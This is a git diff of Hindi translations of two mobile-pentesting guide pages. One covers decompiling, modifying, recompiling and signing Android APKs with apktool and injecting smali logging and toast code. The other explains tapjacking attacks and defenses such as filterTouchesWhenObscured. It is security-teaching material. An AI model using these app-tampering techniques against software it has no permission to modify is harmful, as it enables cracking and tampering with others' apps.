[APKLab](https://github.com/APKLab/APKLab) एक्सटेंशन का उपयोग करके, आप बिना किसी कमांड को निष्पादित किए एप्लिकेशन को **स्वचालित रूप से डिकंपाइल**, संशोधित, **संकलित**, साइन और इंस्टॉल कर सकते हैं। -एक और **स्क्रिप्ट** जो इस कार्य को बहुत आसान बनाती है वह है [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh) +एक और **script** जो इस कार्य को बहुत आसान बनाता है वह है [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh) -## APK को डिकंपाइल करें +## Decompile the APK -APKTool का उपयोग करके आप **smali कोड और संसाधनों** तक पहुंच प्राप्त कर सकते हैं: +APKTool का उपयोग करके आप **smali code and resources** तक पहुँच सकते हैं: ```bash apktool d APP.apk ``` @@ -44,15 +38,15 @@ apktool d APP.apk या आप [**नीचे कुछ Smali परिवर्तनों की व्याख्या की गई जांच कर सकते हैं**](smali-changes.md#modifying-smali)। -## APK को फिर से संकलित करें +## APK को पुनः संकलित करें -कोड को संशोधित करने के बाद आप कोड को **फिर से संकलित** कर सकते हैं: +कोड को संशोधित करने के बाद आप कोड को पुनः **संकलित** कर सकते हैं: ```bash apktool b . #In the folder generated when you decompiled the application ``` यह **नया APK** _**dist**_ फ़ोल्डर के **अंदर** **संकलित** करेगा। -यदि **apktool** एक **त्रुटि** फेंकता है, तो[ **नवीनतम संस्करण**](https://ibotpeaches.github.io/Apktool/install/) स्थापित करने का प्रयास करें। +यदि **apktool** एक **त्रुटि** फेंकता है, तो [**नवीनतम संस्करण**](https://ibotpeaches.github.io/Apktool/install/) स्थापित करने का प्रयास करें। ### **नए APK पर हस्ताक्षर करें** @@ -97,9 +91,9 @@ return-void ``` The Smali instruction set is available [here](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions). -### Light Changes +### हल्के परिवर्तन -### किसी फ़ंक्शन के अंदर एक चर के प्रारंभिक मानों को संशोधित करें +### एक फ़ंक्शन के अंदर एक चर के प्रारंभिक मानों को संशोधित करें कुछ चर फ़ंक्शन की शुरुआत में _const_ ऑपकोड का उपयोग करके परिभाषित किए जाते हैं, आप इसके मानों को संशोधित कर सकते हैं, या आप नए मान परिभाषित कर सकते हैं: ```bash @@ -145,17 +139,17 @@ invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/Strin ``` सिफारिशें: -- यदि आप फ़ंक्शन के अंदर घोषित वेरिएबल्स (घोषित v0, v1, v2...) का उपयोग करने जा रहे हैं, तो इन लाइनों को _.local \_ और वेरिएबल्स के घोषणाओं (_const v0, 0x1_) के बीच रखें। +- यदि आप फ़ंक्शन के अंदर घोषित वेरिएबल्स (घोषित v0, v1, v2...) का उपयोग करने जा रहे हैं, तो इन पंक्तियों को _.local \_ और वेरिएबल्स के घोषणाओं (_const v0, 0x1_) के बीच रखें। - यदि आप फ़ंक्शन के कोड के बीच में लॉगिंग कोड डालना चाहते हैं: -- घोषित वेरिएबल्स की संख्या में 2 जोड़ें: उदाहरण: _.locals 10_ से _.locals 12_। -- नए वेरिएबल्स पहले से घोषित वेरिएबल्स के अगले नंबर होने चाहिए (इस उदाहरण में _v10_ और _v11_ होने चाहिए, याद रखें कि यह v0 से शुरू होता है)। -- लॉगिंग फ़ंक्शन के कोड को बदलें और _v10_ और _v11_ का उपयोग करें _v5_ और _v1_ के बजाय। + - घोषित वेरिएबल्स की संख्या में 2 जोड़ें: उदाहरण: _.locals 10_ से _.locals 12_। + - नए वेरिएबल्स पहले से घोषित वेरिएबल्स के अगले नंबर होने चाहिए (इस उदाहरण में _v10_ और _v11_ होने चाहिए, याद रखें कि यह v0 से शुरू होता है)। + - लॉगिंग फ़ंक्शन के कोड को बदलें और _v5_ और _v1_ के बजाय _v10_ और _v11_ का उपयोग करें। ### टोस्टिंग याद रखें कि फ़ंक्शन की शुरुआत में _.locals_ की संख्या में 3 जोड़ें। -यह कोड **एक फ़ंक्शन के बीच में** डालने के लिए तैयार है (**ज़रूरत के अनुसार** **वेरिएबल्स** का **संख्या** बदलें)। यह **this.o** का **मान** लेगा, **इसे** **String** में **परिवर्तित** करेगा और फिर इसके मान के साथ **एक टोस्ट** **बनाएगा**। +यह कोड **एक फ़ंक्शन के बीच में** डालने के लिए तैयार है (**ज़रूरत के अनुसार** **वेरिएबल्स** की **संख्या** बदलें)। यह **इस.o** का **मान** लेगा, **इसे** **String** में **परिवर्तित** करेगा और फिर इसके मान के साथ **एक टोस्ट** बनाएगा। ```bash const/4 v10, 0x1 const/4 v11, 0x1 @@ -167,10 +161,4 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/ move-result-object v12 invoke-virtual {v12}, Landroid/widget/Toast;->show()V ``` -
- -अपने **मोबाइल सुरक्षा** में विशेषज्ञता को 8kSec अकादमी के साथ गहरा करें। हमारे स्व-गति पाठ्यक्रमों के माध्यम से iOS और Android सुरक्षा में महारत हासिल करें और प्रमाणित हों: - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/tapjacking.md b/src/mobile-pentesting/android-app-pentesting/tapjacking.md index 7a61d9980..8afade670 100644 --- a/src/mobile-pentesting/android-app-pentesting/tapjacking.md +++ b/src/mobile-pentesting/android-app-pentesting/tapjacking.md @@ -2,32 +2,28 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - ## **बुनियादी जानकारी** -**Tapjacking** एक हमला है जहाँ एक **दुष्ट** **अनुप्रयोग** लॉन्च किया जाता है और **एक पीड़ित अनुप्रयोग के ऊपर खुद को स्थिति में रखता है**। जब यह पीड़ित ऐप को दृश्यमान रूप से अस्पष्ट करता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता को इसके साथ बातचीत करने के लिए धोखा दिया जा सके, जबकि यह बातचीत को पीड़ित ऐप की ओर भेज रहा है।\ +**Tapjacking** एक हमला है जहाँ एक **दुष्ट** **अनुप्रयोग** लॉन्च किया जाता है और **एक पीड़ित अनुप्रयोग के ऊपर खुद को स्थिति में रखता है**। जब यह पीड़ित ऐप को दृश्यमान रूप से अस्पष्ट करता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता को इसके साथ बातचीत करने के लिए धोखा दिया जा सके, जबकि यह बातचीत को पीड़ित ऐप के पास भेज रहा है।\ इसका प्रभाव यह है कि यह **उपयोगकर्ता को यह जानने से अंधा कर देता है कि वे वास्तव में पीड़ित ऐप पर क्रियाएँ कर रहे हैं**। ### पहचान -इस हमले के प्रति संवेदनशील ऐप्स का पता लगाने के लिए, आपको एंड्रॉइड मैनिफेस्ट में **निर्यातित गतिविधियों** की खोज करनी चाहिए (ध्यान दें कि एक इरादा-फिल्टर के साथ गतिविधि स्वचालित रूप से डिफ़ॉल्ट रूप से निर्यात की जाती है)। एक बार जब आप निर्यातित गतिविधियों को ढूंढ लेते हैं, तो **जांचें कि क्या उन्हें कोई अनुमति की आवश्यकता है**। इसका कारण यह है कि **दुष्ट अनुप्रयोग को भी उस अनुमति की आवश्यकता होगी**। +इस हमले के प्रति संवेदनशील ऐप्स का पता लगाने के लिए, आपको एंड्रॉइड मैनिफेस्ट में **निर्यातित गतिविधियों** की खोज करनी चाहिए (ध्यान दें कि एक गतिविधि जिसमें एक इरादा-फिल्टर है, डिफ़ॉल्ट रूप से स्वचालित रूप से निर्यातित होती है)। एक बार जब आप निर्यातित गतिविधियों को ढूंढ लेते हैं, तो **जांचें कि क्या उन्हें कोई अनुमति चाहिए**। इसका कारण यह है कि **दुष्ट अनुप्रयोग को भी उस अनुमति की आवश्यकता होगी**। ### सुरक्षा #### Android 12 (API 31,32) और उच्चतर -[**इस स्रोत के अनुसार**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** tapjacking हमलों को Android 12 (API 31 & 30) और उच्चतर से स्वचालित रूप से Android द्वारा रोका जाता है। इसलिए, भले ही अनुप्रयोग संवेदनशील हो, आप **इसे शोषण नहीं कर पाएंगे**। +[**इस स्रोत के अनुसार**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** tapjacking हमलों को Android 12 (API 31 & 30) और उच्चतर से Android द्वारा स्वचालित रूप से रोका जाता है। इसलिए, भले ही अनुप्रयोग संवेदनशील हो, आप **इसे शोषण नहीं कर पाएंगे**। #### `filterTouchesWhenObscured` -यदि **`android:filterTouchesWhenObscured`** को **`true`** पर सेट किया गया है, तो `View` को तब स्पर्श नहीं मिलेगा जब भी दृश्य की विंडो किसी अन्य दृश्यमान विंडो द्वारा अस्पष्ट हो। +यदि **`android:filterTouchesWhenObscured`** को **`true`** पर सेट किया गया है, तो `View` को तब भी स्पर्श नहीं मिलेगा जब दृश्य की विंडो किसी अन्य दृश्यमान विंडो द्वारा अस्पष्ट हो। #### **`setFilterTouchesWhenObscured`** -गुण **`setFilterTouchesWhenObscured`** को सत्य पर सेट करने से इस संवेदनशीलता के शोषण को भी रोका जा सकता है यदि Android संस्करण कम है।\ +विशेषता **`setFilterTouchesWhenObscured`** को सत्य पर सेट करने से इस संवेदनशीलता के शोषण को भी रोका जा सकता है यदि एंड्रॉइड संस्करण कम है।\ यदि इसे **`true`** पर सेट किया गया है, तो उदाहरण के लिए, एक बटन को स्वचालित रूप से **अक्षम किया जा सकता है यदि यह अस्पष्ट है**: ```xml